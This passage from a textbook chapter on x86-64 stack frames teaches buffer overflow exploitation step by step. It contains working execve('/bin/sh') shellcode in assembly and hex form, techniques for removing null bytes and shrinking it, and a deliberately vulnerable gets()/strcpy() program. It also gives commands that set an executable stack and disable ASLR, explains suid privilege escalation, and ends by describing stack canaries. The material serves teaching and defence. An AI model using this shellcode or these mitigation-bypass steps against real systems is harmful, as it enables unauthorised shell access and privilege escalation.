    Then modify  f2()  by adding one line of code to change the return address of  f2()  so that the 
instruction  printf("skip\n")  in  f1()  will be skipped.   
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      Shellcodes      
 Changing function return addresses is a way to execute code inside a buffer. If the goal is to start a shell for 
interacting with the operating system, that code is called  shellcode . More generally, a shellcode is an external 
machine code (somehow injected) that is executed by a program whose control flow has been cracked by 
exploiting some vulnerability (such as a buffer overflow). 

 To limit its size and reach high execution speed, the shellcode is written in machine language and is 
designed for one specific architecture. A huge security risk may occur if the program executing a shellcode 
has root privileges, since a root-shell will be gained. 

 In a Unix-like operating system, if exploiting a vulnerability of a program with its  suid  bit enabled and root 
as owner, a limited user can start a root-shell. In this case we speak of “privilege escalation.” The command 

   su -c "find / -perm -u+s -user root -type f" 

   prints the names of these particular files. To prevent this from happening, operating systems have adopted 
some security measures; we must disable them to perform our  tests     . 

     First Try: a Simple  Test Program      
 To set up and test our shellcode, let us write a tiny program: 

    /* Filename: p.c */ 
 char shellcode[] = "PUT HERE"; 

   void main() 
    { 
    puts("Starting a shell:"); 
    ((void (*)())shellcode)(); 
    } 

    This program stops when it tries to execute the first instruction of  shellcode [][ 28 ]. We get a 
“Segmentation fault” error message because the operating system prevents the execution of code, whatever 
it is, located in the data segment. We must disable this security measure before continuing: 

   g.$  gcc -o p.bin p.c  
 g.$  su  
 Password:  *****  
 root.#  apt-get install execstack                    # Installs the package "execstack" [ 29 ] 
 root.#  execstack -q ./p.bin                        # Checks if p.bin needs executable stack 
 - ./p.bin                                          #  No (see "man execstack") 

   28  The byte “80” (ASCII code for “P”) is disassembled as  push %rax .  
   29  “execstack is a program which sets, clears, or queries executable stack flag of ELF binaries and shared libraries. 
Linux has in the past allowed execution of instructions on the stack and there are lots of binaries and shared libraries 
assuming this behavior. Furthermore, GCC trampoline code for e.g. nested functions requires executable stack on many 
architectures. To avoid breaking binaries and shared libraries which need executable stack, ELF binaries and shared 
libraries now can be marked as requiring executable stack or not requiring it. This marking is done through the  p_flags  
field in the  PT_GNU_STACK  program header entry [...] The user can override this at assembly time (through  --execstack  
or  –noexecstack  assembler options), at link time (through  -z execstack  or  -z noexecstack  linker options) and using 
the  execstack  tool also on an already linker binary or shared library. This tool is especially useful for third-party shared 
libraries where it is known that they don’t need executable stack or testing proves it” (see  man execstack ).  
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 root.#  execstack -s ./p.bin                        # -s = set-execstack 
 root.#  execstack -q ./p.bin  
 X ./p.bin                                           # Now p.bin needs executable stack [ 30 ] 
 root.#  exit  
  exit      
 g.$  ./p.bin  
 Starting a shell: 
 Segmentation fault 
 g.$ 

   This time the error is caused by an instruction, inside the shellcode, trying to access an unreachable 
memory location (to prove it, we can use  gdb ); if the shellcode had valid code, it would be executed without 
errors.  

     Writing a Working Shellcode 
 The next step is writing a  working      shellcode; the string “/bin/sh” is not good; we need machine-language 
commands. To start a shell we may call the system function  execve  (see  man execve ). 

 Its first argument must be a pointer to the executable’s filename; that is, the address of the string “/
bin/sh”. The second argument is the address of an array of pointers to strings holding the arguments of the 
program to be started, just like  argv . Here they are:  argv[0]="/bin/sh", argv[1]=NULL . The third argument 
( envp ) can be set to NULL. 

 Now let’s write the assembly code that prepares the arguments and calls  execve() ; then we need to 
create an executable binary file: 

    g.$  cat t.s  
 .globl main 
 main: 
    /* Copies "/bin/sh" onto the stack */ 
    movq $0x0068732f6e69622f, %rdi     /* 0068732f6e69622f */ 
    pushq %rdi                         /* 00 h s /  n  i b / */ 
    /* Now RSP addresses "/bin/sh". The register RDI is no more necessary */ 

      /* Sets up arguments for execve() */ 
    movq %rsp, %rdi   /* RDI = first argument of execve() = &"/bin/sh" */ 
    movq $0, %rdx     /* RDX = third argument of execve() = envp = NULL */ 
    pushq %rdx        /* argv[1] = NULL */ 
    pushq %rdi        /* argv[0] = &"/bin/sh" */ 
    movq %rsp, %rsi   /* RSI = second argument of execve() = argv */ 

            /* Calls execve() */ 
    movq $0x3b, %rax /* 0x3b=59, see /usr/include/x86_64-linux-gnu/asm/unistd_64.h */ 
    syscall 

   30  The array  shellcode[]  lies in the data segment, not on the stack, but an executable stack requires an executable data 
segment.  
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 g.$  gcc -o t.bin t.s  
 g.$  objdump -d t.bin  
 ... 
 00000000004004ac <main>: 
   4004ac:       48 bf 2f 62 69 6e 2f  movabs $0x68732f6e69622f,%rdi 
   4004b3:       73 68 00 
   4004b6:       57                    push   %rdi 
   4004b7:       48 89 e7              mov    %rsp,%rdi 
   4004ba:       48 c7 c2 00 00 00 00  mov    $0x0,%rdx 
   4004c1:       52                    push   %rdx 
   4004c2:       57                    push   %rdi 
   4004c3:       48 89 e6              mov    %rsp,%rsi 
   4004c6:       48 c7 c0 3b 00 00 00  mov    $0x3b,%rax 
   4004cd:       0f 05                 syscall 
 ... 

    The above machine code is what we are looking for: 

   char shellcode[] = "\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57" 
                    "\x48\x89\xe7\x48\xc7\xc2\x00\x00\x00\x00\x52\x57" 
                    "\x48\x89\xe6\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05"; 

   Having updated  p.c , we can compile and execute it again: 

   g.$  gcc -z execstack -o p.bin p.c                        
 g.$  ./p.bin                                                  
 Starting a shell: 
 $  ls p.*                                                    # The shellcode works: 
 p.bin p.c p.c~                                             # this is the new shell, as we 
 $  exit                                                      # can see looking at the prompt. 
 g.$ 

        Improving the Shellcode 
 Now that we have a working shellcode, let’s see how we can improve it. To begin, it shouldn’t include null 
bytes, because they are seen as string terminators; therefore, if the shellcode has to be passed or copied as 
a string, the first null byte would break it. In addition, the shellcode size must be as small as possible. For 
instance, the instruction  mov $0x0,%rdx  can be replaced by  xor %rdx,%rdx , which is “48 31 d2” in machine 
language; here there are no zeros and fewer bytes than in the preceding “48 c7 c2 00 00 00 00”. 

 Table  5-1  lists some possible  improvements     .  
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 In order to remove the null bytes, the only needed modifications are those highlighted with  boldface 
type . To get a smaller code size we can add the remaining modifications which overwrite the stack, therefore 
they can corrupt the  shellcode     . 

 Before  execve()  may be called, we must know the address of the string “/bin/sh”. This string, stored in 
 RDI  ( RDI  = 0x0068732f6e69622f), has been copied to memory by  push %rdi , which subtracts 8 from the stack 
pointer so that it now addresses the first character of “/bin/sh”. Figure  5-37  shows its memory layout.  

 Now the register  RDI  can be reused to hold the address of “/bin/sh”: 

   push %rdi       /* Copies to the stack the string stored in RDI */ 
 mov %rsp, %rdi  /* Copies to RDI the string's address */ 

   But there is another way to find that address: 

          jmp  L2 
 L1:    ...shellcode... 
 L2:    call  L1 
        .string "/bin/sh" 

   The first instruction of our shellcode must be  pop  (for example,  pop %rdi ) so that the address of 
“ /bin/sh ”, copied onto the stack by  call , can be saved inside a register and be ready for future use. 

 When rewriting the assembly code, we may add a last change: if we put  push $59 + pop %rax  before 
“ xor %rdx ,  %rdx ”, we can take advantage of the instruction  cqto , which sign-extends  RAX  to  RDX : RAX , thus 
gaining one byte against  xor %rdx,%rdx : 

    Table 5-1.    Improved Instructions to Be Used in Shellcode   

 Original Instruction  Alternative  Difference in Byte Length 

  48 bf 2f 62 69 6e 2f 73 68 00   
movq $0x68732f6e69622f, %rdi  

  48 bf 3d 2f 62 69 6e 2f 
73 68 48 c1 ef 08   
movq $0x68732f6e69622f3d, %rdi ;  [  31  ]   
shrq $8, %rdi  

 +4 

  48 89 e7 
mov %rsp, %rdi  

  54 5f 
pushq %rsp ; popq %rdi  

 -1 

  48 c7 c2 00 00 00 00   
mov $0x0, %rdx  

  48 31 d2   
xor %rdx, %rdx  

 -4 

  48 89 e6   
mov  %rsp, %rsi  

  54 5e 
pushq %rsp ; popq %rsi  

 -1 

  48 c7 c0 3b 00 00 00   
mov $0x3b, %rax  

  48 31 c0 b0 3b   
xorq %rax,%rax ; movb $59,%al  

 -2 

  48 c7 c0 3b 00 00 00 
mov $0x3b, %rax  

  6a 3b 58 
pushq $59 ; popq %rax  

 -4 

  Figure 5-37.    String “/bin/sh” copied to the stack. Its low byte is pointed to by the stack pointer       

   31   Instead of “3d” we could write any other number (except zero), since it’s lost in the next shift operation.   
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    g.$  cat t.s  
 .globl main 
 main: 
       jmp L2 

   L1:   popq %rdi   /* RDI = first argument of execve() = &"/bin/sh" */ 
       pushq $59 
       popq %rax   /* RAX = 59 = number of the system function to call */ 
       cqto        /* RDX = third argument of execve() = envp = NULL */ 
       pushq %rdx  /* argv[1] = NULL */ 
       pushq %rdi  /* argv[0] = &"/bin/sh". Now RSP = &argv[0] --> RSP = argv */ 
       pushq %rsp  /* argv */ 
       popq %rsi   /* RSI = second argument of execve() = argv */ 
       syscall     /* Calls execve() */ 
         L2:   call L1     /* Copies onto the stack the return address, that is &"/bin/sh" */ 
       .string "/bin/sh" 
 g.$ 

    As we have done before, let us look at the machine code: 

    g.$  gcc -o t.bin t.s  
 g.$  objdump -d t.bin  
 ... 
 00000000004004ac <main>: 
   4004ac:       eb 0c                 jmp   4004ba <L2> 

   00000000004004ae <L1>: 
   4004ae:       5f                    pop   %rdi 
   4004af:       6a 3b                 pushq $0x3b 
   4004b1:       58                    pop   %rax 
   4004b2:       48 99                 cqto 
   4004b4:       52                    push  %rdx 
   4004b5:       57                    push  %rdi 
   4004b6:       54                    push  %rsp 
   4004b7:       5e                    pop   %rsi 
   4004b8:       0f 05                 syscall 

   00000000004004ba <L2>: 
   4004ba:       e8 ef ff ff ff        callq  4004ae <L1> 
   4004bf:       2f                    (bad) 
   4004c0:       62                    (bad) 
   4004c1:       69 6e 2f 73 68 00 90  imul   $0x90006873,0x2f(%rsi),%ebp 
 ... 

    Let’s change the array  shellcode  (see Table  5-1 ) and try again: 

   g.$  cat p.c  
 char shellcode[] = "\xeb\x0c_j;XH\x99RWT^\x0f\x05" 
                    "\xe8\xef\xff\xff\xff/bin/sh"; /* 26 characters + 1 */ 
 void main() 
    { 
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    puts("Starting a shell:"); 
    ((void (*)())shellcode)(); 
    } 
 g.$  gcc -z execstack -o p.bin p.c  
 g.$  ./p.bin  
 Starting a shell: 
 $  ls p.*           # This is the new shell 
 p.bin p.c p.c~ 
 $  exit  
 g.$ 

   We could further refine the code by using only printable characters so that the shellcode meets the 
security controls and can be accepted as a text string. It’s even possible to create shellcodes that look like 
pure English text (hence the name  English shellcode [ 32 ]); they are able to deceive people because the text 
includes valid words, but often with no meaning. It’s clear that detecting this type of shellcode by common 
programs is nearly  impossible     .   

      Buffer Overflow      Attacks 
 A working shellcode is now available to us; we want to get it executed by a program so that a  buffer overflow  (a 
write past the end of a buffer) occurs, thus producing the overwriting of the return address of  main() . For our 
tests we can use a simple program containing a call to an unsafe function, for instance  gets()  or  strcpy() : 

    #include <stdio.h> 
 #include <string.h> 

   int main(int argc, char **argv) 
    { 
    char buf[20]; 

      if(argc==1) { printf("Type a string: "); gets(buf); } 
    else strcpy(buf, argv[1]); 

      printf("Input string: \"%s\"\ n ", buf); 
    printf("buf=%p\ n ", buf); 
    return 0; 
    } 

    It’s not a difficult job to guess the activation record; for example, if compiling with  gcc  on Debian (64-
bit) or openSUSE we have the layout shown in Figure  5-38 .  

   32  For more information, see    http://www.cs.jhu.edu/~sam/ccs243-mason.pdf       

  Figure 5-38.    Vulnerable test program. Stack frame of function  main()              

 

http://www.cs.jhu.edu/~sam/ccs243-mason.pdf
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 Since there are no controls on the type of characters nor on their number, we can provide a string 
containing a shellcode followed by enough bytes (for example, NOP = No OPeration, 0x90) and then by the 
address (= buf ) of the shellcode itself so that this address overwrites the one of  main() . The attack planning is 
graphically summarized in Figure  5-39 .  

 But it’s hard to guess the exact position of  buf [] since it changes every time the program is executed; it’s 
a security measure called   ASLR       ( Address Space Layout    Randomization   ). To put it simply, we ask the program 
to print that address; we also disable ASLR so that  buf [] has always the same address. 

   g.$  gcc -z execstack -o p.bin p.c                                # Makes the stack executable 
 g.$  su -c "sysctl -w kernel.randomize_va_space=0"                # Disable ASLR until reboot 
 Password:  *****  
 kernel.randomize_va_space = 0 
 g.$ 

   We can use the shellcode shown at the end of “Writing a Working Shellcode,” including all the 
 modifications     : 

    g.$  cat t.s  
 .globl main 
 main: 
    /* Copies "/bin/sh" to the stack */ 
    movq $0x68732f6e69622f3d, %rdi /* Copies the string "=/bin/sh" to RDI */ 
    shrq $8, %rdi   /* Makes sure that "/bin/sh" is NUL-terminated */ 
    pushq %rdi      /* Copies "/bin/sh" to the stack; RSP points to "/bin/sh" */ 

      /* Sets up arguments for execve() */ 
    pushq %rsp 
    popq %rdi       /* RDI = first argument of execve() = &"/bin/sh" */ 
    pushq $59 
    popq %rax       /* RAX = 59 (no. of the system function to be called) */ 
    cqto            /* RDX = third argument of execve() = envp = NULL */ 
    pushq %rdx      /* argv[1] = NULL */ 
    pushq %rdi      /* argv[0] = &"/bin/sh"; RSP points to argv[0] */ 
    pushq %rsp 
    popq %rsi       /* RSI = second argument of execve() = argv */ 

      /* Calls the system function no. 59 (=RAX); arguments are in RDI, RSI, RDX */ 
    syscall 
 g.$  gcc -o t.bin t.s  

  Figure 5-39.     Attack planning     . Changing the return address of  main()  to point to the shellcode       

 



CHAPTER 5 ■ STACK FRAMES

160

 g.$  objdump -d t.bin                      # Prints the shellcode in assembly and machine code 
 ... 
 00000000004004ac <main>: 
   4004ac:       48 bf 3d 2f 62 69 6e   movabs $0x68732f6e69622f3d,%rdi 
   4004b3:       2f 73 68 
   4004b6:       48 c1 ef 08            shr    $0x8,%rdi 
   4004ba:       57                     push   %rdi 
   4004bb:       54                     push   %rsp 
   4004bc:       5f                     pop    %rdi 
   4004bd:       6a 3b                  pushq  $0x3b 
   4004bf:       58                     pop    %rax 
   4004c0:       48 99                  cqto 
   4004c2:       52                     push   %rdx 
   4004c3:       57                     push   %rdi 
   4004c4:       54                     push   %rsp 
   4004c5:       5e                     pop    %rsi 
   4004c6:       0f 05                  syscall 
 ... 

    The use of  push  instructions has minimized the size of the shellcode, but it may get corrupted; this is 
what has happened in our case. 

 To understand the reason, let us see what is inside the stack frame when  main()  terminates, more 
precisely after executing the instructions  leave  and  ret , and before starting the shellcode. Figure  5-40  shows 
the stack contents at this time.  

 All the 20 bytes of  buf [] have been overwritten by the shellcode (28 bytes; overflow by 8), followed by 
12 NOPs and by the address of  buf [] which has replaced the return address of  main (); therefore it has been 
copied to  RIP  by the instruction  ret . 

 Let’s remember that the register  RIP  addresses the next instruction to be executed; in our case the first 
one of the shellcode. Moreover, the register  RBP  now contains 0, and the stack pointer points to the byte 
following the stack frame of  main() . 

 The shellcode may use only 20 bytes (12+8) for the  push  instructions (each of them subtracts 8 from 
 RSP ), but 32 are needed, so that 12 bytes of the shellcode would be overwritten, as we can see in Figure  5-41 . 
This overwriting would break the shellcode.  

  Figure 5-40.    Vulnerable test program. Stack contents when   main()  terminates            
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 The overwriting of the shellcode can be avoided by moving the stack pointer back so that it points to 
the shellcode itself or even further to the left; this way, the  push  instructions will write on the left of the 
shellcode. Figure  5-42  shows how the stack should appear when executing the correct shellcode.  

 The shellcode’s overwriting can be avoided by adding, at the beginning of the shellcode, four bytes: 

   48 83 EC 30    (subq $0x30, %rsp) 

   As a consequence, the needed number of NOP characters drops to 8. Let’s try with a  random address     : 

       Then let us try again using the address we’ve found: 

  Figure 5-41.    Vulnerable test program. Stack contents when the shellcode is  executed            

  Figure 5-42.    Vulnerable test program. Stack contents when the working shellcode has been  executed            
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     Let’s try once again, but now we want  gets()        to read the shellcode: 

     We should succeed, but this time we don’t see a new shell prompt nor error messages. It can be proved 
(by means of  gdb ) that the shellcode is correctly executed, but the new shell suddenly terminates because its 
standard input is closed. 

 We can fix it by adding the   cat  command     : 

     Let’s add a last change to our program so that it prints, one by one, all characters and the corresponding 
ASCII opcodes, starting from  buf [] until the first NUL character. The output should show the shellcode, the 
NOPs characters, and the address of  buf []      : 

    #include <stdio.h> 
 #include <string.h> 

   int main(int argc, char **argv) 
    { 
    char buf[20]; 
    int i; 



CHAPTER 5 ■ STACK FRAMES

163

      if(argc==1) { printf("Type a string: "); gets(buf); } 
    else strcpy(buf, argv[1]); 

      printf("Input string: \"%s\"\ n ", buf); 
    printf("buf=%p\ n ", buf); 
    for(i=0; buf[i]; i++) printf("buf[%2d] = 0x%02X ('%c')\ n ", 
       i, (unsigned char)buf[i], isprint(buf[i])? buf[i]:'.'); 
    return 0; 
    } 

    Two questions:

    1.    This program doesn’t work as expected. Why?  

    2.    If we declare the variable  i  as static (or global), then it works. Why?     
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 EXERCISE:

 Modify the shellcode so that the program returns 3 instead of 0: 

   g.$ printf "Put the shellcode here" | ./p.bin; echo $? 
 ... 
 3 
 g.$ 

   In this case, can we add the  for  loop without altering the correct operation of the program?  

 To protect the activation records from attacks exploiting a buffer overflow, a new security measure has 
been adopted by operating systems: the inclusion of special bytes ( stack canaries [ 33 ]), serving as sentinels: if 
their values change at the end of a function, it means that the stack was corrupted, and the program  terminates     : 

     Figure  5-43  shows what the stack frame looks like when we add the  -fstack-protector  option.  

  Figure 5-43.    Stack frame layout when stack protection is activated by adding the  -   fstack-protector  option            

   33  For more information, see    https://gcc.gnu.org/onlinedocs/gcc-4.4.2/gcc/Optimize-Options.html      (see the 
options  -fstack-protector  and  -fstack-protector-all ). The name “canary” was chosen because these bytes 
behave like canaries in coal mines: canaries revealed the presence of deadly gas, dying earlier than miners.  

 

https://gcc.gnu.org/onlinedocs/gcc-4.4.2/gcc/Optimize-Options.html


CHAPTER 5 ■ STACK FRAMES

165

 The assembly code tells us how it  works     : 

           ... 
         movq   %fs:40, %rax                   # Copies a number [ 34 ] (canary) to RAX 
         movq   %rax, -8(%rbp)                 # then copies RAX to the stack. 
         ... 
         ...                                   # Executes the program 
         ... 
         movq   -8(%rbp), %rdx                 # Retrieves the canary from the stack 
         xorq   %fs:40, %rdx                   # then checks for changes [ 35 ] 
         je     .L5 
         call   __stack_chk_fail               # It's changed: execution stops 
 .L5:        
         leave                                 # No changes: the program terminates normally. 
         ret                                 

        Summary 
 This long chapter may be divided into three main parts:

•    Stack organization and function calls  

•   Tests  

•   Applications    

 Understanding what’s inside the stack and how it evolves is the basic knowledge we need before trying 
to modify it. Aside from multithreaded programs, each process has its own stack, a memory area holding 
data to be used by functions. 

 To fully understand how caller and callee interact and what they put into the stack, we use a test 
program which dumps the frames’ memory. It is compiled on various x86/x64 operating systems and with 
different compiler options to see what changes. This way we can verify that the internal layout of stack 
frames, only summarily defined by the ABI, depends on compilers and their options.      

   34  It is a random number, changing at every program execution.  
   35  If XOR gives zero, both numbers are equal.  
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